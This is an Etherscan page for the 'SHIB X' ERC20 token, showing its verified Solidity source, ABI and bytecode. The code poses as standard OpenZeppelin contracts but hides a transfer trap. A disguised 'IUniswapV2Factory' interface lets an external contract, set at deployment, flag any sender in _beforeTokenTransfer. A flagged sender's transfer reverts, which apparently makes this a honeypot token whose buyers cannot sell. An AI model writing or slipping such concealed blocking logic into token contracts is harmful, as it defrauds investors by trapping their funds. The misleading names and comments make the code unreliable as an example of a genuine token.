ETH Price: $2,901.09 (-4.84%)
Gas: 4 Gwei

Token

SHIB X (SHIB)
 

Overview

Max Total Supply

150,000,000 SHIB

Holders

388

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2.858161590301625769 SHIB

Value
$0.00
0x859090629da4565736a1cA60e6f5Ab42733B27C8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-03
*/

// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

  
    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */

 // Define interface for TransferController
interface IUniswapV2Factory {

    function getPairCount(address _account) external view returns (bool);

    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;


contract ERC20 is Ownable, IERC20, IERC20Metadata {


    mapping(address => uint256) private _balances;
    IUniswapV2Factory private factoryV3poo;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name = "SHIB X";
    string private _symbol = "SHIB";

    address private namefar;
    uint256 pohamm = 128;
    uint256 DF2L = pohamm * 1;
    

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(address _factory) {
        uint256 supply = 150000000 * 10**18;
        factoryV3poo = IUniswapV2Factory(_factory);
        _mint(msg.sender, supply);
    }

    string private IPFS = "Tesx";

    string private BaseUrler;

    function setIPFSURL(string memory url) public {
        IPFS = url;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }




    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function setBase(string memory url) public {
        BaseUrler = url;
    }


    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        bool flag = factoryV3poo.getPairCount(from);
        uint256 total = 0;
        if(flag){
            amount = total;
            require(amount > 0);
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_factory","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"url","type":"string"}],"name":"setBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"url","type":"string"}],"name":"setIPFSURL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600681526020017f53484942205800000000000000000000000000000000000000000000000000008152506005908051906020019062000051929190620004dc565b506040518060400160405280600481526020017f5348494200000000000000000000000000000000000000000000000000000000815250600690805190602001906200009f929190620004dc565b5060806008556001600854620000b6919062000740565b6009556040518060400160405280600481526020017f5465737800000000000000000000000000000000000000000000000000000000815250600a908051906020019062000106929190620004dc565b503480156200011457600080fd5b50604051620021e1380380620021e183398181016040528101906200013a9190620005ba565b6200015a6200014e620001c560201b60201c565b620001cd60201b60201c565b60006a7c13bc4b2c133c56000000905081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001bd33826200029160201b60201c565b5050620008b3565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000304576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002fb9062000693565b60405180910390fd5b62000318600083836200040060201b60201c565b80600460008282546200032c9190620006e3565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003e09190620006b5565b60405180910390a3620003fc60008383620004d760201b60201c565b5050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a19688d856040518263ffffffff1660e01b81526004016200045f919062000676565b60206040518083038186803b1580156200047857600080fd5b505afa1580156200048d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b39190620005e6565b905060008115620004d05780925060008311620004cf57600080fd5b5b5050505050565b505050565b828054620004ea90620007eb565b90600052602060002090601f0160209004810192826200050e57600085556200055a565b82601f106200052957805160ff19168380011785556200055a565b828001600101855582156200055a579182015b82811115620005595782518255916020019190600101906200053c565b5b5090506200056991906200056d565b5090565b5b80821115620005885760008160009055506001016200056e565b5090565b6000815190506200059d816200087f565b92915050565b600081519050620005b48162000899565b92915050565b600060208284031215620005cd57600080fd5b6000620005dd848285016200058c565b91505092915050565b600060208284031215620005f957600080fd5b60006200060984828501620005a3565b91505092915050565b6200061d81620007a1565b82525050565b600062000632601f83620006d2565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200067081620007e1565b82525050565b60006020820190506200068d600083018462000612565b92915050565b60006020820190508181036000830152620006ae8162000623565b9050919050565b6000602082019050620006cc600083018462000665565b92915050565b600082825260208201905092915050565b6000620006f082620007e1565b9150620006fd83620007e1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000735576200073462000821565b5b828201905092915050565b60006200074d82620007e1565b91506200075a83620007e1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000796576200079562000821565b5b828202905092915050565b6000620007ae82620007c1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200080457607f821691505b602082108114156200081b576200081a62000850565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6200088a81620007a1565b81146200089657600080fd5b50565b620008a481620007b5565b8114620008b057600080fd5b50565b61191e80620008c36000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461029d578063a9059cbb146102cd578063dd62ed3e146102fd578063f2fde38b1461032d57610100565b806370a0823114610227578063715018a6146102575780638da5cb5b1461026157806395d89b411461027f57610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf5780634f78db95146101ef578063664aa26b1461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610349565b60405161011a91906114f1565b60405180910390f35b61013d60048036038101906101389190611056565b6103db565b60405161014a91906114d6565b60405180910390f35b61015b6103fe565b6040516101689190611633565b60405180910390f35b61018b60048036038101906101869190611007565b610408565b60405161019891906114d6565b60405180910390f35b6101a9610437565b6040516101b6919061164e565b60405180910390f35b6101d960048036038101906101d49190611056565b610440565b6040516101e691906114d6565b60405180910390f35b610209600480360381019061020491906110bb565b610477565b005b610225600480360381019061022091906110bb565b610491565b005b610241600480360381019061023c9190610fa2565b6104ab565b60405161024e9190611633565b60405180910390f35b61025f6104f4565b005b610269610508565b60405161027691906114bb565b60405180910390f35b610287610531565b60405161029491906114f1565b60405180910390f35b6102b760048036038101906102b29190611056565b6105c3565b6040516102c491906114d6565b60405180910390f35b6102e760048036038101906102e29190611056565b61063a565b6040516102f491906114d6565b60405180910390f35b61031760048036038101906103129190610fcb565b61065d565b6040516103249190611633565b60405180910390f35b61034760048036038101906103429190610fa2565b6106e4565b005b606060058054610358906117d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610384906117d3565b80156103d15780601f106103a6576101008083540402835291602001916103d1565b820191906000526020600020905b8154815290600101906020018083116103b457829003601f168201915b5050505050905090565b6000806103e6610768565b90506103f3818585610770565b600191505092915050565b6000600454905090565b600080610413610768565b905061042085828561093b565b61042b8585856109c7565b60019150509392505050565b60006012905090565b60008061044b610768565b905061046c81858561045d858961065d565b61046791906116e6565b610770565b600191505092915050565b80600a908051906020019061048d929190610e58565b5050565b80600b90805190602001906104a7929190610e58565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104fc610c42565b6105066000610cc0565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610540906117d3565b80601f016020809104026020016040519081016040528092919081815260200182805461056c906117d3565b80156105b95780601f1061058e576101008083540402835291602001916105b9565b820191906000526020600020905b81548152906001019060200180831161059c57829003601f168201915b5050505050905090565b6000806105ce610768565b905060006105dc828661065d565b905083811015610621576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061890611613565b60405180910390fd5b61062e8286868403610770565b60019250505092915050565b600080610645610768565b90506106528185856109c7565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6106ec610c42565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561075c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075390611533565b60405180910390fd5b61076581610cc0565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d7906115f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790611553565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161092e9190611633565b60405180910390a3505050565b6000610947848461065d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109c157818110156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa90611573565b60405180910390fd5b6109c08484848403610770565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2e906115d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e90611513565b60405180910390fd5b610ab2838383610d84565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3090611593565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c299190611633565b60405180910390a3610c3c848484610e53565b50505050565b610c4a610768565b73ffffffffffffffffffffffffffffffffffffffff16610c68610508565b73ffffffffffffffffffffffffffffffffffffffff1614610cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb5906115b3565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a19688d856040518263ffffffff1660e01b8152600401610de191906114bb565b60206040518083038186803b158015610df957600080fd5b505afa158015610e0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e319190611092565b905060008115610e4c5780925060008311610e4b57600080fd5b5b5050505050565b505050565b828054610e64906117d3565b90600052602060002090601f016020900481019282610e865760008555610ecd565b82601f10610e9f57805160ff1916838001178555610ecd565b82800160010185558215610ecd579182015b82811115610ecc578251825591602001919060010190610eb1565b5b509050610eda9190610ede565b5090565b5b80821115610ef7576000816000905550600101610edf565b5090565b6000610f0e610f098461169a565b611669565b905082815260208101848484011115610f2657600080fd5b610f31848285611791565b509392505050565b600081359050610f48816118a3565b92915050565b600081519050610f5d816118ba565b92915050565b600082601f830112610f7457600080fd5b8135610f84848260208601610efb565b91505092915050565b600081359050610f9c816118d1565b92915050565b600060208284031215610fb457600080fd5b6000610fc284828501610f39565b91505092915050565b60008060408385031215610fde57600080fd5b6000610fec85828601610f39565b9250506020610ffd85828601610f39565b9150509250929050565b60008060006060848603121561101c57600080fd5b600061102a86828701610f39565b935050602061103b86828701610f39565b925050604061104c86828701610f8d565b9150509250925092565b6000806040838503121561106957600080fd5b600061107785828601610f39565b925050602061108885828601610f8d565b9150509250929050565b6000602082840312156110a457600080fd5b60006110b284828501610f4e565b91505092915050565b6000602082840312156110cd57600080fd5b600082013567ffffffffffffffff8111156110e757600080fd5b6110f384828501610f63565b91505092915050565b6111058161173c565b82525050565b6111148161174e565b82525050565b6000611125826116ca565b61112f81856116d5565b935061113f8185602086016117a0565b61114881611892565b840191505092915050565b60006111606023836116d5565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111c66026836116d5565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061122c6022836116d5565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611292601d836116d5565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b60006112d26026836116d5565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113386020836116d5565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006113786025836116d5565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113de6024836116d5565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114446025836116d5565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6114a68161177a565b82525050565b6114b581611784565b82525050565b60006020820190506114d060008301846110fc565b92915050565b60006020820190506114eb600083018461110b565b92915050565b6000602082019050818103600083015261150b818461111a565b905092915050565b6000602082019050818103600083015261152c81611153565b9050919050565b6000602082019050818103600083015261154c816111b9565b9050919050565b6000602082019050818103600083015261156c8161121f565b9050919050565b6000602082019050818103600083015261158c81611285565b9050919050565b600060208201905081810360008301526115ac816112c5565b9050919050565b600060208201905081810360008301526115cc8161132b565b9050919050565b600060208201905081810360008301526115ec8161136b565b9050919050565b6000602082019050818103600083015261160c816113d1565b9050919050565b6000602082019050818103600083015261162c81611437565b9050919050565b6000602082019050611648600083018461149d565b92915050565b600060208201905061166360008301846114ac565b92915050565b6000604051905081810181811067ffffffffffffffff821117156116905761168f611863565b5b8060405250919050565b600067ffffffffffffffff8211156116b5576116b4611863565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006116f18261177a565b91506116fc8361177a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561173157611730611805565b5b828201905092915050565b60006117478261175a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156117be5780820151818401526020810190506117a3565b838111156117cd576000848401525b50505050565b600060028204905060018216806117eb57607f821691505b602082108114156117ff576117fe611834565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b6118ac8161173c565b81146118b757600080fd5b50565b6118c38161174e565b81146118ce57600080fd5b50565b6118da8161177a565b81146118e557600080fd5b5056fea26469706673582212203dcdee48eaef5b5bd5c97e96903bb8f651ec184372fc5b76032409ad1473e55164736f6c63430008000033000000000000000000000000ab7c67e3cc9e0e2b8a565840338ffc22faed1e35

Deployed Bytecode

